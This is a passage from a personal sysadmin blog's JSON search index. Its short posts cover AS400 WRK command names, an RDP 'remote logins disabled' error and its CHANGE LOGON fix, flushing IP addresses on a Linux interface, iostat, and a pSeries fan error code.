style=\"display:flex;\"\u003e\u003cspan\u003eWRKCLS Work with Classes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCMD Work with Commands\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCMTDFN Work with Commitment Def\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCNNL Work with Connection Lists\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCNNLE Work with CNNL Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCNTINF Work with Contact Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCOSD Work with COS Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCSI Work Comm Side Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKCTLD Work with Ctl Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDBFIDD Work with DB Files using IDDU\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDDMF Work with DDM Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDEVD Work with Device Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDEVTBL Work with Device Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDIRE Work with Directory Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDIRLOC Work with Directory Locations\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDIRSHD Work with Dir Shadow Systems\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDOC Work with Do*****ents\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDOCLIB Work with Do*****ent Libraries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDOCPRTQ Work with Do*****ent Print Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDPCQ Work with DSNX/PC Queues\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDSKSTS Work with Disk Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDSTL Work with Distribution Lists\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDSTQ Work with Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDTAARA Work with Data Areas\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDTADCT Work with Data Dictionaries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDTADFN Work with Data Definitions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKDTAQ Work with Data Queues\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKEDTD Work with Edit Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKENVVAR Work with Environment Var\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKF Work with Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFCNARA Work with Functional Areas\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFCT Work with Forms Control Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFLR Work with Folders\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFNTRSC Work with Font Resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFORMDF Work with Form Definitions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFTR Work with Filters\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFTRACNE Work with Ftr Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKFTRSLTE Work with Ftr Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKGRPPDM Work with Groups Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKGSS Work with Graphics Symbol Sets\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKHDWPRD Work with Hardware Products\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKHDWRSC Work with Hardware Resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKHLDOPTF Work with Held Optical Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKHTTPCFG Work with HTTP Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKIPXCCT Work with IPX Circuits\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKIPXD Work with IPX Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKIPXSTS Work with IPX Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJOB Work with Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJOBD Work with Job Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJOBQ Work with Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJOBSCDE Work with Job Schedule Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJRN Work with Journal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJRNA Work with Journal Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKJRNRCV Work with Journal Receivers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLANADPT Work With LAN Adapters\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLIB Work with Libraries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLIBPDM Work with Libraries Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLICINF Work with License Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLIND Work with Line Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKLNK Work with Object Links\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKM36 Work with Machines\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKM36CFG Work with Machine Config\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMBRPDM Work with Members Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMLBSTS Work with Media Library Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMNU Work with Menus\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMOD Work with Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMODD Work with Mode Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMSG Work with Messages\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMSGD Work with Message Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMSGF Work with Message Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKMSGQ Work with Message Queues\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNAMSMTP Work with Names for SMTP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNCK Work With Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNETF Work with Network Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNETJOBE Work with Network Job Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNETTBLE Work with Network Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNODL Work with Node List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNODLE Work with Node List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNTBD Work with NetBIOS Descriptions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWID Work with Network Interfaces\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSALS Work with NWS Aliases\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSD Work with Network Servers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSENR Work with NWS User Enrollment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSSSN Work with NWS Sessions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSSTG Work with NWS Storage Spaces\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKNWSSTS Work with NWS Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOBJ Work with Objects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOBJLCK Work with Object Locks\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOBJOWN Work with Objects by Owner\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOBJPDM Work with Objects Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOBJPGP Work Objects by Primary Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOPCACT Work with OptiConnect Activity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOPTDIR Work with Optical Directories\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOPTF Work with Optical Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOPTVOL Work with Optical Volumes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKORDINF Work with Order Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKORDRQS Work with Order Requests\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOUTQ Work with Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOUTQD Work with OUTQ Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKOVL Work with Overlays\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPAGDFN Work with Page Definitions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPAGSEG Work with Page Segments\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPARTPDM Work with Parts Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPCLTBLE Work with Protocol Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPFCST Work with PF Constraints\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPFRCOL Work with Pfr Collection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPGM Work with Programs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPGMTBL Work with Program Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPNLGRP Work with Panel Groups\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPRB Work with Problem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPRDINF Work with Product Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPRJPDM Work with Projects Using PDM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPRTSTS Work with Printing Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKPSFCFG Work with PSF Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKQMFORM Work with Query Mgmt Forms\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKQMQRY Work with Query Mgmt Queries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKQRY Work With Queries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKQST Work with Questions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRDBDIRE Work with RDB Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRDR Work with Readers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKREGINF Work with Registration Info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRJESSN Work with RJE Session\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRMTDFN Work with Remote Definitions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRPYLE Work with Reply List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKRTDCFG Work with RouteD Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKS36 Work with S/36 Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKS36PGMA Work with S/36 Program Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKS36PRCA Work with S/36 Procedure Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKS36SRCA Work with S/36 Source Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSBMJOB Work with Submitted Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSBS Work with Subsystems\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSBSD Work with Subsystem Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSBSJOB Work with Subsystem Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSCHIDX Work with Search Indexes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSCHIDXE Work Search Index Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSHRPOOL Work with Shared Storage Pools\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSOC Work with Sphere of Control\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSPADCT Work with Spelling Aid Dict\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSPLF Work with Spooled Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSPLFA Work with Spooled File Attr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSRVPGM Work with Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSRVPVD Work with Service Providers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSRVTBLE Work with Service Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSSND Work with Session Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSYSACT Work with System Activity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSYSSTS Work with System Status\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKSYSVAL Work with System Value\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKTAPCTG Work with Tape Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKTBL Work with Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKTCPPTP Work with Point-to-Point TCPIP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKTCPSTS Work with TCP/IP Network Sts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKTIE Work with TIE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKUSRJOB Work with User Jobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKUSRPRF Work with User Profiles\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKUSRTBL Work with User Tables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWRKWTR Work with Writers\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"AS400 - Commands"},{"content":"If you trying to connect to a RDP server and you get this error:\nError message: Terminal Server sessions disabled. Remote logins are currently disabled. Terminal Server sessions disabled. Remote logins are currently disabled. Description: The user is attempting to log on to a Terminal Server where an administrator has disabled logon by issuing the CHANGE LOGON /DISABLE command. In order to enable logon, the CHANGE LOGON /ENABLE command must be issued.\n","permalink":"https://www.deepreflect.net/2010/07/22/rdp-remote-logins-are-currently-disabled/","summary":"\u003cp\u003eIf you trying to connect to a RDP server and you get this error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eError message: Terminal Server sessions disabled. Remote logins are currently disabled.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTerminal Server sessions disabled. Remote logins are currently disabled.\nDescription: The user is attempting to log on to a Terminal Server where an administrator has disabled logon by issuing the CHANGE LOGON /DISABLE command. In order to enable logon, the CHANGE LOGON /ENABLE command must be issued.\u003c/p\u003e","title":"RDP - Remote logins are currently disabled."},{"content":"If an interface has already had IP addresses assigned to it, and all of the addresses need to be removed (along with their routes), there is one handy command to accomplish all of these tasks. ip address flush takes an interface name as an argument. Let\u0026rsquo;s look at the output of ip address show just before and just after removing all IPs.\n[root@logistic]# ip address show dev eth0 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff inet 192.168.99.35/24 brd 192.168.99.255 scope global eth0 inet 192.168.99.37/24 brd 192.168.99.255 scope global secondary eth0:0 [root@logistic]# ip address flush Flush requires arguments. [root@logistic]# ip address flush dev eth0 [root@logistic]# ip address show dev eth0 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff ","permalink":"https://www.deepreflect.net/2010/07/22/linux-removing-all-ip-information-from-an-interface/","summary":"\u003cp\u003eIf an interface has already had IP addresses assigned to it, and all of the addresses need to be removed (along with their routes), there is one handy command to accomplish all of these tasks. ip address flush takes an interface name as an argument. Let\u0026rsquo;s look at the output of ip address show just before and just after removing all IPs.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@logistic]# ip address show dev eth0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e2: eth0: \u0026lt;BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elink/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einet 192.168.99.35/24 brd 192.168.99.255 scope global eth0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einet 192.168.99.37/24 brd 192.168.99.255 scope global secondary eth0:0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@logistic]# ip address flush\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFlush requires arguments.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@logistic]# ip address flush dev eth0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@logistic]# ip address show dev eth0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e2: eth0: \u0026lt;BROADCAST,MULTICAST,UP mtu 1500 qdisc pfifo_fast qlen 100\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elink/ether 00:80:c8:f8:4a:51 brd ff:ff:ff:ff:ff:ff\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Linux - Removing all IP information from an interface"},{"content":"Memo per il Giaco:\n[13:08] XenT, mi metti nel blog iostat -En per listare i device storaggiosi ? ","permalink":"https://www.deepreflect.net/2010/05/31/iostat/","summary":"\u003cp\u003eMemo per il Giaco:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[13:08]  XenT, mi metti nel blog iostat -En per listare i device storaggiosi ?\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"iostat "},{"content":"I\u0026rsquo;m getting this error on a 9114-275.\nSYSTEM POWER CONTROL MENU 1. Enable/Disable Unattended Start Mode: Currently Enabled 2. Ring Indicate Power-On Menu 3. Reboot/Restart Policy Setup Menu 4. Power-On System 5. Power-Off System 6. Enable/Disable Fast System Boot: Currently Slow Boot 7. Boot Mode Menu 98. Return to Previous Menu 99. Exit from Menus After digits \u0026ldquo;4\u0026rdquo;\nPlease wait.... System Powering On. Exiting menus. 9022 9101 90FD 10117611 U0.1-F1 B0FF OK x The error on planar was located on FAN module, for resolution unplug entire block and single fans, then replug into the planar after cleaning up, then power on your pSeries.\n","permalink":"https://www.deepreflect.net/2010/05/09/pseries-10117611-u0-1-f1/","summary":"\u003cp\u003eI\u0026rsquo;m getting this error on a 9114-275.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM POWER CONTROL MENU\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1. Enable/Disable Unattended Start Mode:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCurrently Enabled\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e2. Ring Indicate Power-On Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3. Reboot/Restart Policy Setup Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e4. Power-On System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5. Power-Off System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e6. Enable/Disable Fast System Boot:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCurrently Slow Boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e7. Boot Mode Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e98. Return to Previous 